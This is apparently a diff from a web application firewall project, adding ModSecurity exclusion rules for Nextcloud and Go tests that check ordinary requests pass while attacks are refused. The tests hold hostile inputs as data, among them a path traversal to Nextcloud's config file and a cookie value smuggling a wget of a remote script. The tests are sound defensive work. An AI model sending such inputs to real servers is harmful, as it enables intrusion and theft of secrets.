+SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
+    "id:900117,phase:1,pass,nolog,chain"
+    SecRule &ARGS_GET:json.name "@eq 0" \
+        "ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
+        ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
+        ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
+        ctl:ruleRemoveTargetById=932260;ARGS:json.name"
+
+# A file the Files app or the sync client uploads with PUT to the WebDAV
+# paths is a file, not form data. Read as fields, a JSON file holding
+# "python3 -m pytest" was refused (932260), and an XML file holding
+# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
+# RAW, a kind of body sww does not read. Its headers, path and query are
+# still checked.
+SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
+    "id:900118,phase:1,pass,nolog,chain"
+    SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"

internal/coreruleset/nextcloud_test.go

@@ -0,0 +1,516 @@
+package coreruleset_test
+
+import (
+	"encoding/json"
+	"html"
+	"maps"
+	"net/http"
+	"net/url"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
+)
+
+// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
+const nextcloudThreshold = 5
+
+// nextcloudShare is a public share's page.
+const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
+
+// nextcloudPreview is a public share's preview of a file.
+const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
+
+// nextcloudUsers is the OCS API's list of accounts.
+const nextcloudUsers = "/ocs/v2.php/cloud/users"
+
+// nextcloudShares is the OCS API's list of shares.
+const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
+
+// nextcloudStatus is where the OCS API sets an account's status.
+const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
+
+// nextcloudFiles is the WebDAV folder of the account admin.
+const nextcloudFiles = "/remote.php/dav/files/admin/"
+
+// nextcloudSave is where the text editor saves a document.
+const nextcloudSave = "/apps/text/session/1/save"
+
+// The WebDAV methods the Files app's search and a comment's edit use, and
+// the method the sync client lists a folder with.
+const (
+	nextcloudSearch    = "SEARCH"
+	nextcloudPropPatch = "PROPPATCH"
+	nextcloudPropFind  = "PROPFIND"
+)
+
+// nextcloudOther is a JSON field no exclusion names.
+const nextcloudOther = `{"other":"python3"}`
+
+func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
+	t.Parallel()
+
+	wantRecordedRequestsPass(t, "nextcloud-requests.txt")
+}
+
+// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
+// and 932260, each on a path where it skips them, ending in "=".
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var nextcloudQueryFields = []string{
+	"/login?user=",
+	"/login?redirect_url=",
+	"/index.php/login?user=",
+	"/apps/files/?dir=",
+	"/apps/files/files/134?dir=",
+	"/index.php/apps/files/?dir=",
+	nextcloudPreview + "?file=",
+	nextcloudShare + "/download?path=",
+	nextcloudShare + "/download?path=%2F&files=",
+	nextcloudUsers + "?search=",
+	nextcloudUsers + "/details?search=",
+	"/ocs/v2.php/cloud/groups?search=",
+	"/ocs/v1.php/cloud/groups/details?search=",
+	"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
+	nextcloudShares + "?path=",
+	"/ocs/v2.php/search/providers/files/search?term=",
+	"/ocs/v2.php/search/providers/files/search?term=x&from=",
+}
+
+// nextcloudFormFields are the form data fields that skip the four rules, each
+// on a path where it skips them, ending in "=".
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var nextcloudFormFields = []struct{ target, field string }{
+	{"/login", "user="},
+	{"/login", passwordField},
+	{nextcloudUsers, "userid="},
+	{nextcloudUsers, "displayName="},
+	{nextcloudUsers, "groups%5B%5D="},
+	{nextcloudUsers + "/admin", "value="},
+	{"/ocs/v2.php/cloud/groups", "groupid="},
+	{nextcloudShares, "path="},
+	{nextcloudShares, "label="},
+	{nextcloudShares, "shareWith="},
+}
+
+// nextcloudBody is a form data, JSON or XML body, sent with its method to a
+// path. It holds %s, where a value goes, written as the body's type needs.
+type nextcloudBody struct{ method, target, contentType, body string }
+
+// nextcloudBodies are the JSON and XML fields that skip the four rules, each
+// on a path where it skips them.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var nextcloudBodies = []nextcloudBody{
+	{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
+	{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
+	{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
+	{
+		http.MethodPut, nextcloudUsers + "/admin",
+		jsonBody, `{"key":"headline","value":"%s"}`,
+	},
+	{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
+	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
+	{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
+	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
+	{
+		http.MethodPost, "/apps/theming/ajax/updateStylesheet",
+		jsonBody, `{"setting":"slogan","value":"%s"}`,
+	},
+	{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
+	{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
+	{
+		nextcloudSearch, "/remote.php/dav/", xmlBody,
+		`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
+			`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
+			`</d:like></d:where></d:basicsearch></d:searchrequest>`,
+	},
+}
+
+// nextcloudDocument is the text of a document the text editor saves, which
+// skips the rules for code blocks too.
+//
+//nolint:gochecknoglobals // a struct cannot be a constant
+var nextcloudDocument = nextcloudBody{
+	http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
+}
+
+// nextcloudTexts are the fields that hold what a person writes, which skip
+// the rules for sentences too: a document, a comment, a share's note and an
+// account's status.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var nextcloudTexts = []nextcloudBody{
+	nextcloudDocument,
+	{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
+	{
+		nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
+		`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
+			`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
+			`</d:propertyupdate>`,
+	},
+	{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
+	{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
+	{
+		http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
+		formData, "note=%s",
+	},
+	{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
+	{http.MethodPut, nextcloudStatus, formData, "message=%s"},
+}
+
+// nextcloudSentences are sentences recorded in the texts, which rules
+// refused there.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var nextcloudSentences = []string{
+	"It is fixed; diff attached",
+	"Run python3 or powershell; ls -la shows .htaccess",
+	"We need more time; find the old notes first",
+	"Tested on Windows; powershell works",
+}
+
+// nextcloudCodeBlock is a shell script in a code block of a document, as
+// recorded.
+const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
+	"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
+
+// nextcloudBodyScore returns the request that sends value, which is not
+// escaped, in sent's body, and the score crs gives it.
+func nextcloudBodyScore(
+	t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
+) (string, int) {
+	t.Helper()
+
+	switch sent.contentType {
+	case formData:
+		value = url.QueryEscape(value)
+	case jsonBody:
+		quoted, err := json.Marshal(value)
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		value = string(quoted[1 : len(quoted)-1])
+	case xmlBody:
+		value = html.EscapeString(value)
+	}
+
+	body := strings.Replace(sent.body, "%s", value, 1)
+	r := request{sent.method, sent.target, []string{sent.contentType}}
+	got, _ := inspectBody(t, crs, r, body)
+
+	return sent.method + " " + sent.target + " " + body, got.Score
+}
+
+// nextcloudFieldScores returns the score that the Core Rule Set, reading
+// bodies, gives each request that sends value, a query value, in one of the
+// fields that skip the four rules, keyed by the request.
+func nextcloudFieldScores(t *testing.T, value string) map[string]int {
+	t.Helper()
+
+	crs := readingBodies(t)
+	scores := map[string]int{}
+
+	for _, target := range nextcloudQueryFields {
+		scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
+	}
+
+	for _, sent := range nextcloudFormFields {
+		r := request{http.MethodPost, sent.target, []string{formData}}
+		got, _ := inspectBody(t, crs, r, sent.field+value)
+		scores["POST "+sent.target+" "+sent.field+value] = got.Score
+	}
+
+	written, err := url.QueryUnescape(value)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	for _, sent := range nextcloudBodies {
+		request, score := nextcloudBodyScore(t, crs, sent, written)
+		scores[request] = score
+	}
+
+	return scores
+}
+
+// nextcloudTextScores returns the score that the Core Rule Set, reading
+// bodies, gives each request that sends text, which is not escaped, in one of
+// the texts, keyed by the request.
+func nextcloudTextScores(t *testing.T, text string) map[string]int {
+	t.Helper()
+
+	crs := readingBodies(t)
+	scores := map[string]int{}
+
+	for _, sent := range nextcloudTexts {
+		request, score := nextcloudBodyScore(t, crs, sent, text)
+		scores[request] = score
+	}
+
+	return scores
+}
+
+func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
+	t.Parallel()
+
+	for _, value := range hardValues {
+		for request, score := range nextcloudFieldScores(t, value) {
+			if score >= nextcloudThreshold {
+				t.Errorf("%s refused: %d", request, score)
+			}
+		}
+	}
+}
+
+func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
+	t.Parallel()
+
+	for _, sentence := range nextcloudSentences {
+		for request, score := range nextcloudTextScores(t, sentence) {
+			if score >= nextcloudThreshold {
+				t.Errorf("%s refused: %d", request, score)
+			}
+		}
+	}
+
+	document := "Backup steps:\n\n" + nextcloudCodeBlock
+
+	request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
+	if score >= nextcloudThreshold {
+		t.Errorf("%s refused: %d", request, score)
+	}
+}
+
+func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
+	t.Parallel()
+
+	for _, attack := range []string{
+		sqlInjection,
+		"..%2F..%2Fconfig%2Fconfig.php",
+		scriptInjection,
+	} {
+		written, err := url.QueryUnescape(attack)
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		scores := nextcloudFieldScores(t, attack)
+		maps.Copy(scores, nextcloudTextScores(t, written))
+
+		for request, score := range scores {
+			if score < nextcloudThreshold {
+				t.Errorf("%s let through: %d", request, score)
+			}
+		}
+	}
+
+	// A shell command after a ";" reaches Nextcloud only in the texts.
+	for request, score := range nextcloudFieldScores(t, commandInjection) {
+		if score < nextcloudThreshold {
+			t.Errorf("%s let through: %d", request, score)
+		}
+	}
+}
+
+func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	cookie := func(value string) request {
+		return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
+	}
+
+	for _, value := range hardValues {
+		name, err := url.QueryUnescape(value)
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		wantResult(t, crs, cookie(name), matched())
+	}
+
+	// A cookie cannot hold a ";", so the command follows a "|" instead.
+	for _, attack := range []string{
+		injection,
+		"../../config/config.php",
+		scriptTag,
+		"x|wget http://example.com/x.sh",
+	} {
+		if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
+			t.Errorf("nc_username=%s let through: %+v", attack, got)
+		}
+	}
+
+	got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
+	if got.Score < nextcloudThreshold {
+		t.Errorf("nc_other=python3 let through: %+v", got)
+	}
+}
+
+func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	for _, method := range []string{
+		nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
+		nextcloudSearch, "LOCK", "UNLOCK",
+	} {
+		for _, target := range []string{
+			nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
+			"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
+		} {
+			wantResult(t, crs, request{method, target, nil}, matched())
+		}
+
+		for _, target := range []string{
+			"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
+		} {
+			wantResult(t, crs, request{method, target, nil}, matched(911100))
+		}
+	}
+
+	wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
+}
+
+// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
+// them, which rules refused when they read them as fields.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var nextcloudUploads = []struct{ name, contentType, body string }{
+	{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
+	{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
+}
+
+func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	for _, upload := range nextcloudUploads {
+		uploaded := request{
+			http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
+		}
+
+		got, _ := inspectBody(t, crs, uploaded, upload.body)
+		if got.Score >= nextcloudThreshold {
+			t.Errorf("PUT %s refused: %+v", uploaded.target, got)
+		}
+
+		for _, refused := range []request{
+			// Elsewhere, or with another method, the body is read.
+			{http.MethodPost, "/", uploaded.headers},
+			{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
+			{http.MethodPost, uploaded.target, uploaded.headers},
+			// The query is still checked.
+			{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
+		} {
+			got, _ := inspectBody(t, crs, refused, upload.body)
+			if got.Score < nextcloudThreshold {
+				t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
+			}
+		}
+	}
+}
+
+func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
+	t.Parallel()
+
+	crs := atDefaults(t)
+
+	methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
+
+	for _, method := range methods {
+		for _, target := range []string{
+			nextcloudFiles + "../../../config/config.php",
+			nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
+		} {
+			got := inspect(t, crs, request{method, target, nil})
+			if got.Score < nextcloudThreshold {
+				t.Errorf("%s %s let through: %+v", method, target, got)
+			}
+		}
+	}
+}
+
+func TestNextcloudExclusionsAreNarrow(t *testing.T) {
+	t.Parallel()
+
+	crs := readingBodies(t)
+
+	for _, refused := range []string{
+		"/?dir=python3",
+		"/apps/other/?dir=python3",
+		"/apps/files/?other=python3",
+		"/login?other=python3",
+		"/x/login?user=python3",
+		nextcloudShare + "?files=powershell",
+		"/?file=powershell",
+		// Each public share path keeps the rules on the other's fields.
+		nextcloudPreview + "?files=powershell",
+		nextcloudShare + "/download?file=powershell",
+		"/?search=python3",
+		nextcloudUsers + "?other=python3",
+		"/x/ocs/v2.php/cloud/users?search=python3",
+	} {
+		if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
+			t.Errorf("%s let through: %+v", refused, got)
+		}
+	}
+
+	for _, sent := range []nextcloudBody{
+		// A JSON field of the same name in the query keeps the rules.
+		{
+			http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
+			jsonBody, `{"message":"python3"}`,
+		},
+		{
+			http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
+			jsonBody, `{"value":"python3"}`,
+		},
+		{
+			http.MethodPost, nextcloudUsers + "?json.userid=python3",
+			jsonBody, `{"userid":"python3"}`,
+		},
+		{
+			http.MethodPut, nextcloudShares + "/1?json.note=python3",
+			jsonBody, `{"note":"python3"}`,
+		},
+		{
+			http.MethodPut, nextcloudStatus + "?json.message=python3",
+			jsonBody, `{"message":"python3"}`,
+		},
+		// Other JSON fields keep them.
+		{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
+		{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
+		{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
+		{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
+		// A note or a status on another OCS path keeps them.
+		{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
+		{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
+		// XML on another path, or with another method, keeps them.
+		{
+			nextcloudSearch, nextcloudFiles,
+			xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
+		},
+		{
+			nextcloudPropPatch, nextcloudFiles + "notes.txt",
+			xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
+		},
+		{
+			"REPORT", "/remote.php/dav/comments/files/1/2",
+			xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
+		},
+	} {
+		r := request{sent.method, sent.target, []string{sent.contentType}}
+
+		got, _ := inspectBody(t, crs, r, sent.body)
+		if got.Score < nextcloudThreshold {
+			t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
+		}
+	}
+}